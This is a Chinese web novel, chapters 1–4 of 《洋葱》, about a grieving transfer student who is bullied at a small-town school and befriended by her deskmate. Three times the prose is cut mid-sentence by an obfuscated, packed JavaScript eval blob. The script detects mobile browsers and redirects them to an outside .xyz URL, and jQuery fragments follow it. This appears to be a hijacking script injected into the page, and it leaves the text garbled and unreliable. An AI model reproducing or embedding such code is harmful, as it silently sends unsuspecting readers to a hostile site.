《洋葱》 1. 第 1 章 北城近段时间一直在下雨,空气不流通把屋子里搞的潮哄哄的,被子摸着也粘粘的,盖在身上浑身都不舒服。 翻来覆去睡不着,祁缘翻身下床,拄着胳膊,眼神空洞地望向窗外。 窗户缝里透过几缕风丝,吹在她的脸上,额前的刘海也跟着晃了晃。 这个时间天还没怎么亮,外面零星有几个人撑着伞在窗前路过,雨水砸在地上,水坑里扬起一朵朵水花。 嘀嗒,嘀嗒。 听的人心静。 祁缘搬来北城已经一年了,她时常失眠,常常一坐在这里,就是半宿。 她喜欢独自蜷缩在角落的感觉,晴天看星星,雨天看雨滴。 若被世间遗忘,又何尝不是一种幸福。 可天一亮她就要去上学了。 祁缘看了眼书桌上外婆早就收拾好了的书包,内心五味杂陈。 …… 冯丽做好了饭菜,敲门喊祁缘起床吃饭。 祁缘早就穿好了衣服,她扯了下僵硬的嘴角,勉强扬起一个笑容。 “早上好,外婆。” “阿缘早上好。” 冯丽拿了根油条递到祁缘碗里,然后坐下来给她剥鸡蛋。 “在家待了一年了,到了学校就要等到固定的时间才能吃饭了,也不能想吃就吃,你在家吃的饱饱的再去上学。” 祁缘点点头,喝了口手边的牛奶。 自从她妈妈去世后她就变得不爱说话,冯丽已经习惯了,可是学校和家里不一样,那里没人会让着她。 休学这一年的时间里,祁缘不曾与外界接触,早就和这个世界脱轨,冯丽有些担心她在学校会挨欺负。 冯丽语重心长地说:“阿缘,你蒋爷爷家的孙女蒋晗是跟你一个班的,第一天到学校没有熟人,你就让她带你玩两天。” “我知道了外婆。” 冯丽还是不放心,只能一遍又一遍的开导她,叮嘱她,而祁缘也只是点头应着,再没说过一句话。 饭后冯丽想要送她去,被祁缘拒绝了。 北城是个城镇,不算小,但也不算大,学校就建在中间,四层楼,比较显眼。 她能找到,就没必要麻烦别人。 祁缘自从搬到这里后就没怎么出过门,她像是对外界感到恐慌,始终低着头,小心又谨慎地迈过一个又一个水坑。 离学校越来越近了,学生们穿着校服,挽着胳膊,一路上欢声笑语不曾间断。祁缘走在他们身边有些紧张,她的心开始狂跳,像是打了兴奋剂一样,手脚也跟着发麻。 身旁突然传来一声尖叫,祁缘被吓了一跳,冷静下来后她低头看向自己脚上的白鞋,上面的白布被泥水染花,显得又脏又旧。 “你说你推我干嘛?我差点撞到人了!” 几个女生嬉皮笑脸地互相推搡,个个脸上化着大浓妆,和身上穿着的校服看上去格格不入。 像是那种精神小妹。 撞她的那人瞟了眼她脚上的鞋,是那种地摊上随处可见的帆布鞋,没什么装饰,很朴素。 她笑笑,给祁缘提了个建议:“现在都穿牌子,阿迪耐克可比你脚上这双好看多了,你买双穿穿,肯定比你这种地摊货得劲儿。” 非但没道歉,还嘲笑她这是地摊货。 祁缘没什么表情,这是外婆给她买的。外婆说,女孩子就是要穿这种白白净净的鞋子才好看。 冯丽不懂牌子,她也不懂。 祁缘缓缓开口:“我这双挺好穿的,不用买。” “哦。” 她们走了,有人捂着嘴偷笑。 “怎么看着呆呆傻傻的?品味也不咋样,好像个乡巴佬!” “笑死我了,你这个懂姐。” 祁缘站在原地看着她们欢快打闹的背影,突然鼻子一酸。 明明她以前也是这样的。 从前只是从北中门前路过,她根本没有想过自己有一天会来这所学校读书。放眼望去,学校的外观条件还好,可进去才知道,里面的坏境差的很,院子里杂草丛生,没人收拾,就让它肆意生长。 祁缘一路走来,时不时就会发现几根被人随意扔掉的雪糕棍,它们正安静地躺在地上,同样没人收拾。她见状从兜里拽出一张纸巾来,小心翼翼地把它们包好,然后丢到路边的垃圾桶里。 这个时间还没上早自习,有几个学生在那边操场扫垃圾,看他们嘻嘻哈哈的架势,大概率是为了逃避早读出来玩的。 她走进教学楼,办公室很好找,全年级的老师都挤在这一间屋子里,而她要找的老师崔荣,就坐在离门不远的位置上。 祁缘靠在门边轻敲两声,得到他的那句“进来吧”才踏进去。 因为前两天事先见过,崔荣记得她,拿出抽屉里早就给她准备好的书,顺便拿出他的看家本领,先是给祁缘灌了点心灵鸡汤。 “你的情况我也都了解了,既然来了这里就好好学习,抓紧赶上休学进度,忙起来,以前的事就让它随风散去吧,不要再想了,人要向前看。” 祁缘勉强扬起一个笑:“好。” 崔荣又看了眼墙上的时钟,说:“马上早自习了,祁缘,一会儿你跟着我进班,然后做个自我介绍。” 祁缘眼神闪躲了一下,她不想,可她也只能答应。 她点了点头,然后崔荣开始收拾办公桌上摊开的试卷,走的时候顺便把祁缘怀里的书拿过来一半给自己捧着。 结果他们刚出门还没走两步就被撞了一下。 祁缘胳膊肘磕在墙上,怀里的书撒了一地,几个值日的男生正拿着扫帚乱挥,崔荣气的脸红脖子粗,手一点一点的指着他们。 “马上上课了不知道吗?不好好值日这是干嘛呢?你们还像话吗?” 有个男生挠了挠头,笑的憨厚:“我们知道错了荣嬷嬷。” “知道错了就赶紧帮人家把书捡起来。” 男生们这才注意到崔荣身后的女生,她就那么乖乖地站在那里,从始至终一言不发。虽然眼里有点儿怨气,但更多的是纯净。几个人一起蹲了下来,一边捡一边打听。 “新来的?” 祁缘轻声:“嗯。” 其中一个打趣道:“说话声音这么小,怎么跟个小猫咪一样?” 旁边人看不下去,眉毛皱的快要竖起来了,“陈子涛你他妈能有点儿正经不?一天天的见到个女的就撩。” 陈子涛听完表示极力反对:“那我也是分人的好不好?我只撩长的好看的。” 书捡完了,陈子涛得意洋洋地把书抱在怀里,对祁缘说:“我帮你抱回去吧。” 没等祁缘拒绝,崔荣拧住他的耳朵,疼的他龇牙咧嘴。 “老师你干嘛呀?” “你是不是想偷懒啊?以前怎么没见你这么热心肠?我告诉你们,今天这地扫不完你们几个就别想回去上课了,老实在外面待着吧!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957243|177650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 崔荣说完,抢过陈子涛手上的书自己拿着,然后把他们几个都赶走了。 “真是不消停。” 盯着他们几个往班级分担区去了崔荣皱着的眉头才舒展开来,刚想说话,早自习的铃声响起,他一拍腿,教案忘拿了。 真是老了,记性都变差了。 他感慨道,四周扫了一圈,最后目光落在前面不远处一个男生身上。 他大喊:“宋嶙!” 男生脚步顿住,下一秒朝这边走了过来。 这个位置阳光有些刺眼,他逆着光走来,个子身形修长,北中校服的版型又大又肥,被他穿在身上却像是专门为他定做的,该有型的地方有型,该松散的地方松散。 离得近了,模样从模糊逐渐变得清晰。祁缘这才发现,少年的五官生的极其优越,下颚棱角分明,黑发在他硬朗的眉骨上乖顺地垂着,漆黑的瞳孔像是一望无际的深渊。 宋嶙在崔荣面前站定,比后者高出了半个头。 他懒散地抬了下眼皮,“咋了,崔哥。” 崔荣一脸嫌弃地把书塞进他怀里,还顺便拍了拍他的背。 “挺大小伙子一天天能不能有点精气神儿啊?是不是又去网吧通宵了?” 宋嶙本来也没想瞒着,嗤笑一声:“知道你还问。” “没大没小。去,帮新来的同学把书拿回去,我回办公室取点东西。” 宋嶙和那帮男生一样,都是听崔荣说完才注意到他身后的女生,她长的有些矮,正微微仰头看着他。 少女生了一双琥珀色的眼睛,五官线条柔和,巴掌大的小脸,皮肤嫩的快要滴出水来。她身穿一身淡蓝色的长裙,白皙的手臂露在外面。 应该是有些紧张,宋嶙注意到她的手放在一起,一直在动来动去。 他问崔荣:“她坐哪啊?崔哥,你给她分配位置没呢?” 这话可把崔荣问住了,他还真没想到这个问题。 祁缘个子偏矮,又在家休学了一年,按道理来讲应该让她坐前面的。可这是按上个学期期末考成绩安排的座位,一个学期换一次,前面已经没有位置了。 放后面他又不放心,班里这几个淘小子整天惹是生非,一点都不让人省心,让祁缘坐后面简直是把她往火坑里送。 宋嶙见崔荣犹豫着,当下自己做了决定。 “要不先让她跟我坐一段时间吧。” 此话一出,崔荣反对的话已经到嘴边了又咽了回去,仔细想想,大家都是按成绩排的位置,让谁去后面谁都不乐意。 只能先按宋嶙说的来了。 崔荣虽说答应但也不忘叮嘱:“你可不行欺负人家啊,要是她跟我告状看我怎么收拾你!” 宋嶙笑了声,不以为意:“我怎么可能欺负她?没准儿我们还能玩到一起去呢。” 这话可把崔荣气的半死,他太了解他们了,这帮淘小子平时就吊儿郎当的不爱学习,老是偷摸翻墙往网吧跑,再不就是一整天都看不见他们的身影。 要不是迫不得已,崔荣肯定不会答应他这个提议,真怕他们给她教坏了。 可眼下也只能作罢,大不了他就平时多回来几趟看着点呗。 “反正要是让我知道你们影响她学习的话,我肯定是不会手下留情的。” 崔荣又说了几句就回办公室了,宋嶙抬腿把怀里的书对整齐,冲祁缘扬了扬下巴。 “跟我走呗,新同学。” 2. 第 2 章 雨过天晴,空气里掺杂着湿润的泥土味儿,校园里有颗老树,阳光撒在叶片上,时不时掉下来几滴昨晚下过的雨水。几只鸟儿挤在屋檐上,叽叽喳喳的,歪着头的样子像只活泼的小企鹅。 这个时间都在早读,唯独走廊尽头的班级,吵闹声震耳欲聋。 宋嶙在前面不紧不慢地走着,他这一步恨不得顶祁缘三步,后者只能走两步就一小跑的跟上,像大人领着个小孩儿。 不知什么时候,前面那人突然顿住脚,祁缘一个没注意,猝不及防地撞了上去。 宋嶙扭头看了她一眼,她像个做错事的孩子,视线刚对上他的就移到一边,嘴里小声念叨着几句“对不起”。 他沉默了两秒,然后跟她说:“到了。” 祁缘这才注意到,原来这个吵的翻天覆地的正是她的班级。宋嶙提着步子进了班,让祁缘跟着他。 她听话地点了点头,乖乖照做。 可能是已经到早自习的时间了崔荣还没进来,大家吵归吵闹归闹,但反侦查意识还是在线的。他们一进来众人的视线就齐刷刷地落在了他们身上,班里的吵闹声顿时小了不少,所有人都在盯着他俩看。 学校小,班级也小,祁缘一眼就看到了今早遇到的那几个女生。 她很久没有遇到这样的情况了,脑袋立马耷拉下来。她真的很怕这种感觉,她害怕成为焦点,害怕成为别人的谈资。 众人的视线一直追随着她,她始终低着头走着,直到他停下。 “你等会儿。” 宋嶙把书放在桌上,一脚跨进里座,然后弯下腰开始收拾。这个位置一看就是有人坐的,桌上还有东西摆着。祁缘觉得这样不太好,提出自己去后面坐。 “不用,你就坐这儿。” 后面男生看了眼祁缘,笑嘻嘻地问宋嶙。 “新同学啊?” “嗯。” “看着好小,是你妹吗?” “你妹。” “……”怎么感觉在骂他? 宋嶙把桌肚里的书一股脑儿的抽了出来,祁缘在旁边看着,她摸了下书皮,滑溜溜的,恨不得比她刚发的书还新。 男生盯着他一刻也不松懈的手,纳了闷,继续打听:“阿嶙,你把陈子涛的书都拿出来干啥?” 下一秒,宋嶙把书全都移到男生桌上。他懒得摆,一顿乱扔,男生正在补作业,不出意外的,手很不幸被砸中了。 他哀嚎出声:“我的哥你到底要干嘛?” “你帮他收拾一下,让他坐你那儿。” 接着书包也被他给扔了过来。 男生“噗嗤”笑出声,张着嘴开始傻乐。 “笑死我了,你为了她把你好兄弟给扔了,我倒要看看陈子涛回来啥反应,妈的,想想我都憋不住笑。” 东西收拾干净了,祁缘刚要坐下,没想到又被宋嶙给提溜起来了。只见他翻出自己桌洞里的湿巾,还是酒精湿巾,然后在桌面和凳子上都擦了擦。 “不是,陈子涛她妈的……哈哈哈哈哈哈哈哈,阿嶙,我记得疫情那阵你也没做到这么消毒啊……” 宋嶙嫌他话多,抬手把擦完的湿巾扔他手上:“把它吃了。” “逆天。” 祁缘终于能坐下了,她也不找话题,就这么安安静静地坐了两分钟,然后才打开书包把自己东西拿出来一点一点摆到桌面上。有笔袋、笔记本、水杯,还有一盒纯牛奶。 宋嶙就在旁边拄着脑袋看着她忙活,突然笑了下,眉尾上扬带动着太阳穴上的痣,露出两个酒窝。 祁缘太阳穴一顿突突,侧头看他。 “我咋啦?” 宋嶙头晃了两下,抬手挥了挥:“没事儿。” 崔荣取个教案,直到快下早自习了才回来,他前脚都踏进班了还在笑呵呵的跟门外的人聊天。 祁缘虽说已经做好了心理准备,可看见他的身影后手还是止不住地开始哆嗦,掌心也冒了汗,心脏沉重的跳着,她在紧张自我介绍的事。 宋嶙抬眼瞄了她一下,迟疑半晌,语气悠悠地问:“你叫什么名字?” 她一怔,然后低声说:“祁缘。” 宋嶙听完笑了笑,给予她肯定:“挺好听的。” 祁缘眨巴两下眼睛,下一秒抿着唇,说了句谢谢。 该来的总会来的,门外那人走了,教室里也没了动静,崔荣视线扫过来,直勾勾地盯着祁缘。 他冲她勾了勾手:“来,新同学,上讲台上做个自我介绍。” 一瞬间众人的目光再一次落在她身上,祁缘欲言又止,最后红着脸点了点头。她知道崔荣是想鼓励她多说说话,可她一个人待的久了,她已经不知道怎么面对这个世界,也不知道怎么面对身边的人。 于是她在心里回忆着之前早就背好的词,可是她好像太紧张了,现在脑子一片空白,一句话都想不起来了。 祁缘羞愧难当地站起身,紧紧攥着手边的裙摆,刚要迈步,宋嶙似是看出了她的窘迫,自顾自的帮她介绍起来: “她叫祁缘,十六岁,现高二四班学生,她很高兴能在这里遇见各位,愿今后的日子里,大家可以共同进……” “停停停,宋嶙你想干嘛?” 崔荣掐着腰,推了下眼前的眼镜:“是你叫祁缘吗?” 宋嶙假装听不懂,一脸无辜的样子:“我就是教她一下你跟我们说的模板啊。” “教是这么教的吗?你把她的话全说完了,那她还介绍啥?” “那就这样吧,别介绍了。” “你这小子,气死我了。” 广播铃声响了,下早自习了,有些人还着急上厕所,崔荣叹了口气,只好就此作罢。 祁缘还沉浸在刚才的世界里,好半天才反应过来,心里像是有股暗流在肆意的涌动着,说不出是什么感觉。 她坐下来,对宋嶙说了句谢谢。 “你这人怎么就知道说谢谢?不能说点儿别的?” 后座男生从兜里掏出一把瓜子,一边嗑一边打听,祁缘沉默着,没吭声。 宋嶙见状脸色立马沉了下来,完全没有了刚才跟祁缘说话时的温柔。回头拧着眉看他:“何浩楠你是不是抽风?人家说谢谢你也要管,不比你满嘴臭狗屎强百套?” 何浩楠一脸无辜,他好像也没说啥吧?怎么突然就挨了一顿臭骂? 这时陈子涛拿着撮子扫帚回来了,在手里一顿乱挥,那点儿脏东西全甩旁边女生头上了。女生怒火中烧:“陈子涛你有病啊?” 陈子涛见状停下来,歪着头,面部扭曲地学起她的样子:“陈子涛你有病啊?” 别说,还挺像。 那女生瞬间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957244|177650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 憋不住了,笑骂一句:“有病。” 陈子涛像是被骂满足了,一脸享受的表情,回过头来瞥见宋嶙正坐在位子上无语地看着他,顿时兴奋的手舞足蹈。 “我靠,阿嶙,你可终于回来了!” 宋嶙扯了个理由请假好几天,今天可算是见着本人了。 结果下一秒看见里面坐着的女生,再看看他的东西,全都堆在了后座的桌子上。陈子涛脸上的笑容瞬间僵住,不可置信地问道。 “这是……什么意思?” “我被……抛弃了?” 祁缘被盯的有些心虚,全程没敢看他。 宋嶙对着他竖起来个大拇指,肯定了他的猜想,然后向后指了指,“怎么的,跟何浩楠一座委屈你了?” 何浩楠立马接住戏,深情的闭上眼,开始激情演唱:“我们是兄弟,今生在一起……” 陈子涛不吃这套,气的跳脚:“宋嶙你她妈真是个见色忘友的家伙!” “哎?这我可不同意,”何浩楠直接拆穿他,“这话形容你还挺合适的,咱几个打小一起长大的,阿嶙还没谈过呢,你谈过几个了?” “那咋了,哥们儿有志向,从小就励志给每个女孩儿一个家。再说了,跟我谈恋爱不是她们的荣幸吗?” 宋嶙闻言睨了他一眼:“咋的?跟你处对象送盆啊?” 陈子涛:“……这是什么话?我的爱就那么廉价吗?” 宋嶙不惯着他:“你他妈又抽风了?” 陈子涛可能是有点儿受虐倾向,听完这话不知怎么的,挨骂反倒还挺乐呵:“有点爽是怎么回事儿?” 何浩楠冲他翻了个白眼:“一天总贱嗖嗖的,我得找人堵你一波了。” “你敢?” “吹牛逼,”他掏掏耳朵,“给你打到尿失禁。” 陈子涛给他竖了个大拇指:“你她妈真是我亲哥们儿。” 祁缘安静地坐在一边,就这么看着他们打趣,不禁想起了以前上初中时候的朋友。 那时候几个人叽叽喳喳的,一唠唠一节课,要是碰到班主任的课她们就在桌子底下传纸条,好像总有说不完的话,光是写纸条就用了好几个大笔记。 后来成绩下降,老师把她们分开,东一个西一个的,可那也拆不散她们之间的友谊。一下课就往一块儿凑,遇到点好笑的她们能回味一节课。 就像他们现在这样,一样的开心。 可是她回不去了。 再也不回去了。 宋嶙盯着她逐渐失焦的眼睛,来来回回晃了半天祁缘才回过神来。 他笑了声:“想什么呢?这么专注。” “没什么,在发呆。” 她撒谎了,可她更不想让别人知道她的曾经。 就让他觉得她一直都是这样的,也挺好。 她以为她隐藏的天衣无缝,可宋嶙又不傻,放空和心里有事的眼神是不一样的。他看得清,知道她不想说,他也就不再多问了。 宋嶙“嗯”了声,说:“刚才感动不?” 祁缘知道他指的是什么:“挺感动的。” “挺?”宋嶙逗她:“不应该是超级,或者是非常吗?为什么是挺?” 祁缘本来不想说,见他追问,她回答的认真:“我今年十七岁了。” 宋嶙:“……” 3. 第 3 章 今天是祁缘在北中上学的第三天,早上她出来的时候还是艳阳天,才过了也就一个小时,天空乌云密布,黑暗席卷而来,一整个笼罩在这片大地上。不一会儿还刮起了大风,吹的学校的窗户吱嘎吱嘎响。 有树枝打在玻璃上,发出“咚”的一声闷响,她看着身旁空着的座位,有些出神。 不知道是不是天气恶劣的原因,宋嶙今天没来上学。 同样没来的还有陈子涛和何浩楠。 外面开始打闪,不一会儿响起一声闷雷。几次过后,教室里亮着的几盏灯灭了,屋里顿时陷入一片黑暗。 停电了。 各科课代表过来收作业,可能是崔荣觉得女生比较稳妥,不像男生那样咋咋呼呼,安排的课代表全都是女生。 祁缘从书包里拿出昨天留的练习册,把它们一本一本整齐的放好,课代表来一个,她递一个。 最后一本是语文,她抬头,看到课代表居然是蒋晗。她伸手递给她,眼看着她抓住了她才松手,结果不知怎么的,蒋晗一个没拿稳,书哗啦哗啦撒了一地。 碰巧教室是水泥地,又碰巧今天下雨,地上又脏又潮,有几本倒扣在地面上,沾了几处淤泥。 祁缘还没来得及张口,只见一本书朝她飞了过来,下一秒直直砸在了她的脑门上。书页也如同利剑一般,在她眉毛上划开一道口子。 她摸了下,流血了。 “你她妈是不是有病啊?书都拿不住你干什么吃的?” 一听有动静,班上那些人的目光齐刷刷地探了过来,补作业的也不补了,全都等着看热闹。 蒋晗以前在村里声音就不小,平时跟几个女生在外面玩,时不时嗷嗷喊两句,她在家都能听得到。 而她们两个也只是见过,祁缘平时大门不出二门不进的,也没想到她吵架时是这么一副咄咄逼人的样子。 祁缘不想跟她吵,试图跟她讲道理:“难道不是你自己没拿住吗?我是看你接住了我才松手的啊。” 蒋晗竖起眉:“那你的意思是我故意扔地下,故意嫁祸给你的呗。” 她捡起其中一本,拿在手上甩了甩,说:“来来来你们看看,这书都埋汰成什么样了?我做了快一年的课代表了我还能是故意的不成?” 有人凑过来,祁缘认得她,是昨天早上弄了她一鞋水印子的那个女生。 她接过来看了眼字迹,翻回书皮,气愤道:“这不是我书吗?” 她蹲在地上,扒开她已经油了的鲶鱼须刘海,又捡起来一本,仔细观摩一番:“张晚媛,你的也湿了!” 那个叫张晚媛的听完也跑了过来,接过书扒拉两下,然后咬着嘴唇,把书重重一摔。 “你俩她妈怎么回事啊?收个作业也能吵起来,还偏偏湿的是我的书,你们是不是有病啊?” 张晚媛臭着张脸,她他妈烦死了,虽说不学习呗,那谁也不想留本烂书,看着都膈应人。 眼看着她生气了,蒋晗立马换了个语气,连忙撇清自己的责任:“真不是我,是她乱整,这书都埋汰成这样了你们还怎么学啊?” 被她这么火上浇油一通,张晚媛越想越气,反手抢过祁缘的书扔到地上,左一脚右一脚,直至踩到书页开胶,书皮稀烂。 要知道她的家庭条件并不怎么好,祁缘总不可能再花钱去买一本练习册了,她蹲在地上,想把书扯过来。 她刚伸手,就被张晚媛一脚踩住。 “想干嘛?礼尚往来的规矩你懂不懂?” 力道加重,白皙的手背被她的鞋底磨的通红,有的地方破了皮,还出了血,看上去格外刺眼。 祁缘垂着头,不看她的脸,鼻尖酸酸的,泪水顺着眼角滑落,流了满脸。 明明惹事的是蒋晗,为什么要她来承受后果? 张晚媛来了脾气,抓着她的头发往后一拽,祁缘被迫扬起头,下巴被她的虎口钳着,疼的她皱了皱眉。 “呦呵,你还会哭呢,看着怎么好像还有点儿可怜呢?”她装作不好意思地说着,没过两秒就又露出邪恶的嘴脸,“只可惜呀,姐不吃这套。” 蒋晗在旁边看戏看的正起劲儿,跟张晚媛说明情况:“她家呀就她外婆在家呢,她外公一个月回来一次,没爸没妈,一点儿后台都没有。” 张晚媛笑起来:“还用你说吗?一脸穷酸样儿看着能好哪里去啊?” 她蹲下来拍了拍她的脸:“看你也挺蔫巴的,转个学也没个认识的人,不如让我们几个陪你玩玩,给你增添点乐趣吧。” 祁缘眼神发直,空洞洞的眼睛里已经没有任何情感了。她知道,她的噩梦要开始了。 接下来只要她在学校一天,她们就不会让她好过。 经过办公室时,她无数次想过要不要去告诉崔荣,她被欺负了,被狠狠的欺负了。 然而她一遍又一遍向现实选择了妥协。 告诉老师,后面会惹来更大的麻烦。张晚媛那样的人,打小报告不但不会解决问题,反而会激发她内心深处的恨,让她变成一个彻头彻尾的疯子。 到时还要通知家长,会让外公外婆担心。他们已经七十岁了,前年失去了女儿已经让他们崩溃过一次,不能再让他们为自己费心了。 祁缘幻想着,希望自己的妥协会让她们感到无趣。 可事实并非如此。 她们趁她上厕所时在她的书本上画满猪头,还在旁边画了个箭头标注:祁傻子。 她的课堂笔记被她们做成纸飞机,一帮人比谁飞的更远。 语文书还被泼了墨水,把字勾的黑乎乎的,导致语文老师让她读课文她都看不清,被惩罚站着听课,抄课文。 语文老师虽说是个女人,却长的高而壮,指着她一副恨铁不成钢的样子,说:“读个课文都不愿意,那你来上学读书干什么?赶紧退学回家种大地吧。” 张晚媛听完“噗嗤”一声笑出声来:“语文老师英明,总是善于发现人才!” 说完,她冲语文老师竖起来个大拇指。 语文老师看起来跟她关系还不错,跟她打趣:“你也赶紧学点儿吧,一天天的就知道臭美。” “好的老师。” 张晚媛心情特别好,甚至还哼起了歌,因为这下连老师也看不上祁缘了。 放学铃响,祁缘收拾书包,刚拉上拉链,书包被人扯走,张晚媛倒着甩了甩,扔出来几本烂书。 她捂着嘴故作惊讶,心知肚明地问:“哎呦,怎么一本好书都没有了?” 蒋晗因为帮她们找到乐趣,成功加入进去张晚媛的帮派了。她看着祁缘,笑问:“你回家这么早干嘛?见不到我们这几个好姐妹你不会想念吗?” 祁缘不说话,蒋晗见状撅着嘴看向张晚媛:“她好像不太愿意跟我们玩呢。” 后者听见,立马拉下脸来,抬了抬下巴,“你让她爽一下。” 蒋晗心领神会,扭头对着祁缘甩了一巴掌。 祁缘还没来得及反应,她被打的一个趔趄,扑通一声,摔倒在地上。 “这么弱不禁风呢,看来得多打两下才行。” 蒋晗说完还要伸手,张晚媛拉住她,皱眉:“你还打上瘾了,下手那么重被看出来咋办?留着明天继续。” 蒋晗笑了:“行,都听媛姐的。” 她是村里的大姐大,平时对着村里的孩子大呼小叫的,现在却像是一条狗,一直在对着张晚媛摇尾巴。 她们要走了,好像是几个人约好一起去吃烧烤。然而那也没忘折磨祁缘,张晚媛一脚把教室后面的水桶掀翻了。 她给祁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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祁缘中间还被杂草给绊倒了,可她没时间顾及膝盖上的疼痛,强撑着站起来,朝着矮墙一瘸一拐地挪了过去。 结果到跟前了她才发现,她太矮了,举着手都够不到墙沿。没办法,她又去找来几块石头垫在脚下,踩上去才勉强能够得到最上面的那块砖。 祁缘卯足了劲儿往上蹬,可是墙太滑了,她一连失败了好几次都没上去。她蹲着歇了一会儿,然后给自己加油打气,又试着往上爬。可她还是高估自己了,她体力不行,臂力更不行,最后挣扎了半天都上不去,还把自己累的够呛。 这下是真没辙了,身上所有的力气都消耗光了,她瘫坐在地上,这下是彻底绷不住了。 她也不再选择隐忍了,反正周围也没人,谁也听不到。想到这些,她嚎啕大哭,撕心裂肺。 她明明没做错什么,为什么要这样对她? 是因为她看起来就好欺负吗? 她不想上学了。 “谁在哭?” 突然有人说话,祁缘吓得立马闭上了嘴,周围黑乎乎的,她缩成一团蜷缩在角落,都这个时候了,她能想到的也只有鬼了。 她害怕的发抖,耳边听见周围有树枝折断的声音,窸窸窣窣的,她吓得对着天空大喊:“有种就过来!我可不怕你!” “握草,啥啊?吓我一跳!” “你搁哪呢?旁边是不是有人啊?” “我去看看。” 祁缘躲在墙角,一睁眼就看见头顶的墙上有个黑影,吓得她直跺脚。 “走开!走开啊!” 下一秒眼前突然亮起一束光,祁缘被刺的用手遮住眼睛。 “祁缘?” 听到熟悉的嗓音,她顿了下,然后微微睁开眼。 宋嶙注意到手电筒太亮了,连忙关了,蹲下来问她:“你怎么还没回家?” 话音刚落,面前的女孩儿哭得更狠了。她撞进他结实的胸膛,惯性太大,他向后撑了下地面才稳住。 脖子被她搂的紧紧的,吐在他肩膀上的呼吸急促又凌乱,祁缘正不停地抽泣着。 “宋嶙……你怎么才来啊……” 4. 第 4 章 现在已经是夏末了,快要入秋再加上这两天一直在下雨,晚上的风有点儿凉。祁缘坐在包子摊的小凳上,身上披了件棒球服,手里捧着一个肉包子。 宋嶙把她的裙子往上拉了点,让膝盖的伤口刚好展露出来,然后把棉签沾满了双氧水。 他另取了根棉签擦掉伤口上的灰尘,说:“你忍着点儿,这么大的口子,得消毒。” 祁缘咬着唇,“嗯”了声。 尽管她已经做好了心理准备,可棉签接触皮肤那一刻发生化学反应产生了一滩泡沫,疼痛难忍,她咬着牙,腿打着哆嗦。 这时宋嶙兜里的手机响了,铃声是那种救赎感的纯音乐,祁缘把腿往后收了点:“你先接吧。” “别乱动。” 宋嶙按住她的腿,怕她疼用手在她的伤口处扇了扇风,又小心翼翼地抹了几下才扔掉棉签,在铃声快要结束时接通了电话。 祁缘瞟到手机页面,是陈子涛打来的。 终于接通了,那头无奈道:“阿嶙啊,你找球找哪去了?哥儿几个都在球场等你半小时了。” 宋嶙平静地回答:“我回家了。” “啥?”何浩楠简直不敢相信自己的耳朵,抢过手机又问了一遍:“你说你在哪儿?” “家。” 下一秒,电话那头炸了。 “宋嶙你他妈……” 他不给他们输出的机会,直接把电话挂了,一脸平静地揣回兜里。 这一番操作下来,祁缘都暗自替他捏了把汗。 宋嶙也找了个凳子坐下,跟她解释:“我们几个想打篮球来着,球场没有了打算回学校拿一个,他们几个懒得要死,非要让我去。你忘了?当时我们几个打语音还给你吓了一跳。” 他这么一说,祁缘想起来,是有这么一回事。 宋嶙见她不动弹,冲她扬了扬下巴:“这包子怎么不吃,再不吃就凉了。” 祁缘低下头,手上的包子皮薄馅大,面皮捏着软软的,离着鼻子那么远都能闻到猪肉馅的香气。 看着就很有食欲,可她没有胃口。 她心里藏着太多事了,像一块大石头压在心口处,让她喘不过气来。 她不说话,宋嶙也不知道该怎么安慰她了。 这时宋嶙爸爸宋健从屋里出来,这个包子摊是他开的,包子卖的差不多了摊位也已经收了,他是全都收拾好了才过来的。 他坐下来,祁缘打了个招呼:“宋叔叔好。” 宋健也很热情:“你好啊,刚刚叔叔比较忙也没空过来,包子怎么不吃,是不喜欢吗?” 祁缘立马摇摇头:“不是,我就是……就是没胃口而已。” “这么回事啊,”宋健隔着塑料袋在她手上的包子上摸了下,又说:“有点儿凉了,别吃了,锅里还有几个,等会儿叔叔再给你拿个热乎的。” 祁缘点头:“谢谢叔叔。” 该聊主题了,宋健小心翼翼地询问:“你能告诉叔叔,天黑了为什么不回家吗?” 话音刚落,祁缘隐忍着半天的情绪,只在一瞬间,突然就崩溃了。 她一想起这两天遭遇的种种,一肚子的委屈,不知道能讲给谁听。但现在来看,宋健可能是一个很好的倾听者。 她面如死灰,自顾自地说了起来:“我们班上有两个女生,我没有招惹她们,她们却好像单纯看我不顺眼,把我的书踩烂,还画的乱码七糟,让我读不了课文被老师骂……” “她们扇我的脸,故意把水桶掀翻让我拖地,还说什么我不拖干净就继续整我……我就是因为这个才没赶上放学时间,等我收拾好大门已经锁了……” “我真不知道他们为什么要这么对我……” 祁缘越说越委屈,哭的一抽一抽的,宋嶙从纸抽里抽出来几张纸,在她脸上轻轻擦了擦。 他这两天逃课出去玩了,陈子涛和何浩楠也找理由请假了。他俩不在的话,这种事也没人会和他说。 看到她裙子上若隐若现的脚印子,宋嶙既后悔又自责,他攥起拳头,气得发抖。 宋健听完只觉得心酸,她不是他女儿,他没资格管她,只能劝说:“孩子,在学校受欺负了你有没有跟你爸妈说?他们会帮你的。” “我没有爸妈了,妈妈去世了,爸爸是个十恶不赦的大坏蛋。” 